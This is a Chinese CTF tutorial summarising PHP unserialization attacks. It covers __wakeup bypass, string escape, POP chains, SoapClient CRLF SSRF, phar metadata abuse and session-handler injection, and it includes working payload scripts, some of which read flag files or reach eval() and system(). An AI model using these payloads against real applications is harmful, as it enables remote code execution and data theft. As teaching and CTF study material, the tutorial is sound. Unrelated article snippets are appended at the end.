[CTF]PHP反序列化总结

article/2025/4/17 7:15:35

文章目录

  • PHP反序列化这一篇就够了
    • 简介
    • 常见的序列化格式
    • 案例引入
    • 反序列化中常见的魔术方法
    • 反序列化绕过小Trick
      • php7.1+反序列化对类属性不敏感
      • 绕过__wakeup(CVE-2016-7124)
      • 绕过部分正则
      • 利用引用
      • 16进制绕过字符的过滤
      • PHP反序列化字符逃逸
        • 情况1:过滤后字符变多
        • 情况2:过滤后字符变少
    • 对象注入
    • POP链的构造利用
      • POP链简单介绍
      • 简单案例讲解
    • PHP原生类反序列化利用
      • SoapClient介绍
      • 利用方式
      • 实战
    • Phar反序列化
      • 什么是phar文件
      • phar文件的结构
      • 漏洞利用条件
      • 受影响的函数
      • 绕过方式
    • php-session反序列化
      • session简单介绍
      • session 的存储机制
      • php.ini中一些session配置
      • 利用姿势
        • session.upload_progress进行文件包含和反序列化渗透
        • 使用不同的引擎来处理session文件
          • $_SESSION变量直接可控
          • $_SESSION变量直接不可控
  • 参考文章

PHP反序列化这一篇就够了

简介

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

在网上找到一个比较形象的例子

比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的序列化格式

了解即可

  • 二进制格式
  • 字节数组
  • json字符串
  • xml字符串

案例引入

简单的例子(以数组为例子)

<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

他会输出

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
([0] => xiao[1] => shi[2] => zi
)

我们对上面这个例子做个简单讲解,方便大家入门

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4依次类推

序列化后的内容只有成员变量,没有成员函数,比如下面的例子

<?php
class test{public $a;public $b;function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

输出(O代表Object是对象的意思,也是类)

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:

<?php
class test{protected  $a;private $b;function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

输出则会导致不可见字符\x00的丢失

O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

反序列化中常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

反序列化绕过小Trick

php7.1+反序列化对类属性不敏感

我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00

但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc

<?php
class test{protected $a;public function __construct(){$this->a = 'abc';}public function  __destruct(){echo $this->a;}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

绕过__wakeup(CVE-2016-7124)

版本:

​ PHP5 < 5.6.25

​ PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

对于下面这样一个自定义类

<?php
class test{public $a;public function __construct(){$this->a = 'abc';}public function __wakeup(){$this->a='666';}public function  __destruct(){echo $this->a;}
}

如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666

而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc

绕过部分正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点

  • 利用加号绕过(注意在url里传参时+要编码为%2B)
  • serialize(array( a ) ) ; / / a));// a));//a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
<?php
class test{public $a;public function __construct(){$this->a = 'abc';}public function  __destruct(){echo $this->a.PHP_EOL;}
}function match($data){if (preg_match('/^O:\d+/',$data)){die('you lose!');}else{return $data;}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

利用引用

<?php
class test{public $a;public $b;public function __construct(){$this->a = 'abc';$this->b= &$this->a;}public function  __destruct(){if($this->a===$this->b){echo 666;}}
}
$a = serialize(new test());

上面这个例子将$b设置为$a的引用,可以使$a永远与$b相等

16进制绕过字符的过滤

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

我这里写了一个例子

<?php
class test{public $username;public function __construct(){$this->username = 'admin';}public function  __destruct(){echo 666;}
}
function check($data){if(stristr($data, 'username')!==False){echo("你绕不过!!".PHP_EOL);}else{return $data;}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

PHP反序列化字符逃逸

情况1:过滤后字符变多

首先给出本地的php代码,很简单不做过多的解释,就是把反序列化后的一个x替换成为两个

<?php
function change($str){return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";

正常情况,传入name=mao

在这里插入图片描述

如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸

在这里插入图片描述

首先来看看结果,再来讲解

在这里插入图片描述

我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}这一部分一共二十个字符
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符";i:1;s:6:"woaini";},从而造成";i:1;s:6:"woaini";}的溢出,而"闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini
最后的;}闭合反序列化全过程导致原来的";i:1;s:7:"I am 11";}"被舍弃,不影响反序列化过程`

情况2:过滤后字符变少

老规矩先上代码,很简单不做过多的解释,就是把反序列化后的两个x替换成为一个

<?php
function change($str){return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况传入name=mao&age=11的结果

在这里插入图片描述

老规矩看看最后构造的结果,再继续讲解

在这里插入图片描述

简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码;
我们来看,这部分是age序列化后的结果

s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"

由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:"age";s:28:"11这一部分刚好20个,后面由于有"闭合了前面因此后面的参数就可以由我们自定义执行了

对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

对象漏洞出现得满足两个前提

1、unserialize的参数可控。
2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

比如这个例子

<?php
class A{var $test = "y4mao";function __destruct(){echo $this->test;}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出maomi

POP链的构造利用

POP链简单介绍

前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

简单案例讲解

首先看看简单的MRCTF2020-Ezpop,不带大家一一读代码了,自己解决

<?phpclass Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}

这里我直接说利用思路,首先逆向分析,我们最终是希望通过Modifier当中的append方法实现本地文件包含读取文件,回溯到调用它的__invoke,当我们将对象调用为函数时触发,发现在Test类当中的__get方法,再回溯到Show当中的__toString,再回溯到Show当中的__wakeup当中有preg_match可以触发__toString

因此不难构造pop链

<?php
ini_set('memory_limit','-1');
class Modifier {protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}class Show{public $source;public $str;public function __construct($file){$this->source = $file;$this->str = new Test();}
}class Test{public $p;public function __construct(){$this->p = new Modifier();}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

PHP原生类反序列化利用

SoapClient介绍

综述:

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call方法,具体详细的信息大家可以去搜索引擎看看,这里不再赘述

利用方式

下面首先在我的VPS上面开启监听nc -lvvp 9328

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://xxxx.xxx.xx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

运行上面的php程序,在我的vps上面奖会捕获监听

在这里插入图片描述

从上面这张图可以看到,SOAPAction处是我们的可控参数,因此我们可以尝试注入我们自己恶意构造的CRLF即插入**\r\n**,利用成功!

在这里插入图片描述

但是还有个问题我们再发送POST数据的时候是需要遵循HTTP协议,指定请求头Content-Type: application/x-www-form-urlencodedContent-TypeSOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据

接下来我们实验一下

在这里插入图片描述

实战

反序列化我们传入的vip执行getFlag函数(迷惑人的函数)

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
​
​
if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

由于服务器带有cloudfare代理,我们无法通过本地构造XFF头实现绕过,我们需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php,即可绕过cloudfare代理

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array('X-Forwarded-For: 127.0.0.1,127.0.0.1','UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

接下来访问flag.txt即可

Phar反序列化

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

什么是phar文件

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。

php中一些常见的流包装器如下:

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

phar文件的结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。

如何生成一个phar文件?下面给出一个参考例子

<?phpclass Test {}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new Test();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

受影响的函数

知道创宇测试后受影响的函数列表:

在这里插入图片描述

实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38

当然为了阅读方便,这里便把它整理过来

//exif
exif_thumbnail
exif_imagetype//gd
imageloadfont
imagecreatefrom***系列函数//hashhash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file// file/url
get_meta_tags
get_headers//standard 
getimagesize
getimagesizefromstring// zip   
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""<?php
class A {public $s = '';public function __wakeup () {system($this->s);}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
?>

绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://compress.zlib://等绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.“<?php __HALT_COMPILER(); ?>”); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

php-session反序列化

session简单介绍

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session 的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

php_serialize经过serialize()函数序列化数组
php键名+竖线+经过serialize()函数处理的值
php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值

php.ini中一些session配置

session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

利用姿势

session.upload_progress进行文件包含和反序列化渗透

这篇文章说的很详细了,没必要班门弄斧

https://www.freebuf.com/vuls/202819.html

使用不同的引擎来处理session文件

$_SESSION变量直接可控

php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题

来看看这两个php

// 1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['y4'] = $_GET['a'];
var_dump($_SESSION);
//2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{public $name;function __wakeup(){echo $this->name;}
}

首先访问1.php,传入参数a=|O:4:"test":1:{s:4:"name";s:8:"y4tacker";}再访问2.php,注意不要忘记|

在这里插入图片描述

由于1.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。

这里可能会有一个小疑问,为什么在解析session文件时直接对'|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量

因此我们成功触发了test类中的__wakeup()方法,所以这种攻击思路是可行的。但这种方法是在可以对session的进行赋值的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用

$_SESSION变量直接不可控

我们来看高校战疫的一道CTF题目

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new OowoO();
}
else
{highlight_string(file_get_contents('index.php'));
}
?>

我们注意到这样一句话ini_set('session.serialize_handler', 'php');,因此不难猜测本身在php.ini当中的设置可能是php_serialize,在查看了phpinfo后得证猜测正确,也知道了这道题的考点

那么我们就进入phpinfo查看一下,enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;只需往该地址任意 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,就可以将filename的值赋值到session中

在这里插入图片描述

构造文件上传的表单

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="777" /><input type="file" name="file" /><input type="submit" />
</form>

接下来构造序列化payload

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>

由于采用Burp发包,为防止双引号被转义,在双引号前加上\,除此之外还要加上|

在这个页面随便上传一个文件,然后抓包修改filename的值

在这里插入图片描述

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

在这里插入图片描述

因此我们只需要把payload,当中改为print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));即可获取flag

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{public $mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
$obj = new OowoO();
echo serialize($obj);
?>

参考文章

https://xz.aliyun.com/t/2715
https://xz.aliyun.com/t/2613
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
https://blog.csdn.net/qq_43431158/article/details/99544797
https://www.cnblogs.com/or4nge/p/13439974.html
https://blog.zsxsoft.com/post/38
https://paper.seebug.org/680/
https://www.freebuf.com/articles/web/182231.html
https://www.freebuf.com/vuls/202819.html


http://chatgpt.dhexx.cn/article/JSnPIQc6.shtml

相关文章

测试用例介绍

测试用例 用例介绍 定义 为某个业务目标而编制的一组由测试输入&#xff0c;执行条件以及预期结果组成的案例。 为什么要学习测试用例&#xff1f; 再开始测试之前设计好测试用例&#xff0c;可以避免盲目测试并提高测试效率。测试用例的使用令软件测试的实施突出重点、目…

软件测试的测试用例应该怎么编写和模板

这个是软件测试的模板下面是软件测试的一些测试点和测试方法 硬件测试方法: 1.界面测试 2.性能测试(压力测试、稳定性测试) 3.恢复性测试 4.兼容性测试 5.安全性测试 6.破坏性测试 7.可用性测试 8.易用性测试 9.功能操作测试 软件测试: loading:加载中。 可视化页面可操作元素…

测试用例模板

测试用例模板 文章目录 前言1.文件原地址2.测试用例模板1.测试用例模板012.测试用例模板023.测试用例模板034.测试用例模板045.测试用例模板05 2上线回归测试1.回归测试检查表01 3.其他见过的模型参考关键词链接 前言 这个是模仿别人的模板来进行补充的。有些是不需要的&…

测试用例模板及测试报告分析

文章目录 前言一、等价类划分二、边界值三、错误推测法四、因果图法判定表驱动法设计步骤设计策略 前言 文章主要介绍常见测试用例的设计方法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、等价类划分 等价类划分主要适用于单个输入条件&#x…

测试 - 用例篇

文章目录 测试用例的基本要素基于需求设计的测试用例接下来就是针对一个功能的不同输入,对应着不同的输出功能之间的交互性异常信息的处理 等价类边界值错误猜测法 美团面试题:水杯测试用例场景法因果图法 复习 因为这篇博客是关于如何写测试用例,尽可能多的涵盖测试用例,所以我…

软件测试当中的测试用例模板,仅供参考

测试用例这块知识、经验&#xff0c;小酋在前面陆续都讲完了。这章提供几种用例模板&#xff0c;作为这块知识的收尾。 - 1 - 测试用例&#xff08;主指功能测试用例模板&#xff09;的内容通常包括测试目标&#xff08;目的&#xff09;&#xff0c;需求标示&#xff08;一般…

测试用例分析及编写

文章目录 1.测试用例1.1 用例与测试用例1.2 测试用例的作用1.3 测试用例的编写格式 2. 测试点的设计方法2.1 等价类划分法2.1.1 定义2.1.2 分类2.1.3 划分规则2.1.4 步骤2.1.5 适用场景2.1.6 案例2.1.6.1 验证QQ帐号的合法性2.1.6.2 验证某城市号码的正确性 2.2 边界值划分法2.…

测试用例,怎么写 ?

本文的测试用例主要针对功能测试。 软件测试中最重要的因素是设计和生成有效的测试用例。 穷举的测试是不可能的&#xff0c;合理的测试策略是通过使用特定的面向黑盒测试的测试用例设计方法&#xff0c;而后使用白盒测试方法对程序的逻辑结构进行检查以补充这些测试用例&…

测试:用例篇

上一章讲述的是测试的基本概念。在我们开始做了一段时间基础测试&#xff0c;熟悉了业务之后&#xff0c;往往会 分配来写测试用例&#xff0c;并且在日常测试中&#xff0c;有时也需要补充测试用例到现有的案例库中 在开始之前先讲讲测试中经典的测试方法&#xff1a;黑盒测试…

软件测试用例.范文,软件测试用例模板范文

软件测试用例模板范文 (8页) 本资源提供全文预览&#xff0c;点击全文预览即可全文预览,如果喜欢文档就下载吧&#xff0c;查找使用更方便哦&#xff01; 14.9 积分 XX 系统系统 测试用例测试用例 XX 系统-测试用例 1 由安博测试空间技术中心由安博测试空间技术中心 http://ww…

路由器与交换机知识总

路由器与交换机知识总结 路由器&#xff08;Router&#xff09;是一种计算机网络设备&#xff0c;提供了路由与转发机制&#xff0c;可以决定数据包从源到目的所经过的路径&#xff0c;这个过程就叫做路由&#xff1b;将路由器输入端的数据包交移到目的路由器&#xff0c;这个…

【计算机网络】路由器与交换机

-计算机网络 路由器就是 路由器&#xff1a;寻址&#xff0c;转发&#xff08;依靠 IP 地址&#xff09;&#xff0c;局域网内网的数据转发交换机&#xff1a;过滤&#xff0c;转发&#xff08;依靠 MAC 地址&#xff09;&#xff0c;连接局域网和外网 相信有很多人在学习网络…

OSI七层模型的各个功能?路由器与交换机的区别?冲突域,广播域

一、OSI总结 二、路由器与交换机的区别 2.1 外观 路由器和交换机的外观长得一样一样的,他们有个超级明显的区别,交换机的各个接口上标注的序列数字是有规律的&#xff0c;接口颜色也是一致的。 在路由器的接口上我们可以看到标注的数字是有规律的&#xff0c;标注为wan或者i…

第6节 构建简单局域网并实现远程管理路由器与交换机——基于PacketTracer仿真

1实验目标 在PacketTracer平台上构建以下两个局域网&#xff0c;并使用路由器相连。路由器&#xff0c;连接不同的局域网&#xff0c;其上的各个端口需要属于不同网段。交换机&#xff0c;连接同一网段内的设备。为各个设备配置IP、子网掩码、网关等。实现各个设备间能互相pin…

认识路由器与交换机,在常见的企业组网中起什么样的作用呢?

作者&#xff1a;一天&#xff0c;公众号&#xff1a;网络之路博客&#xff08;ID&#xff1a;NetworkBlog&#xff09;。让你的网络之路不在孤单&#xff0c;一起学习&#xff0c;一起成长。 前言 从这篇开始正式进入路由交换网络的讲解&#xff0c;这一篇&#xff0c;不讲解…

3.路由器与交换机的管理

路由器与交换机的管理 &#xff08;1&#xff09;通过带外方式对设备进行管理 &#xff08;2&#xff09;通过Telnet对设备进行远程管理 &#xff08;3&#xff09;通过Web对设备进行远程管理 &#xff08;4&#xff09;通过SNMP管理工作站对设备进行远程管理 实验1 交换机基…

路由器与交换机基本原理

路由器工作原理 定义 路由器是一种实现网络互联的设备&#xff0c;作为三层网络层设备提供路由与转发两种机制&#xff0c;可以决定数据包从源端到目的端的经过路径&#xff08;路由&#xff09;&#xff0c;以及将路由器输入端的数据包送到适当的路由器输出端&#xff08;内…

路由器与交换机的作用

路由器与交换机的作用(浅析) 拿到这个题目&#xff0c;不用想&#xff0c;先百度。 首先是路由器 说实话&#xff0c;看不懂&#xff0c;不过我看到了一个眼熟的东西&#xff08;TCP/IP&#xff09;&#xff0c;如果我没有记错的话&#xff0c;这个名词我在写post和get传参作…

路由器与交换机的区别是什么

路由器与交换机的主要区别体现在以下几个方面&#xff1a; &#xff08;1&#xff09;工作层次不同 &#xff08;2&#xff09;数据转发所依据的对象不同 交换机是利用物理地址或者说mac地址来确定转发数据的目的地址。 而路由器则是利用不同网络的id号&#xff08;即iP地址…

eNSP实验记录(一):路由器与交换机

eNSP实验记录&#xff08;一&#xff09;&#xff1a;路由器与交换机 本次实验拓扑图如下&#xff1a; 实验目的&#xff1a;探究路由器与交换机之间的连接及设置方法&#xff0c;以及Ping通4台PC端&#xff01;&#xff01; 一&#xff1a;配置各端口的IP &#xff08;一&…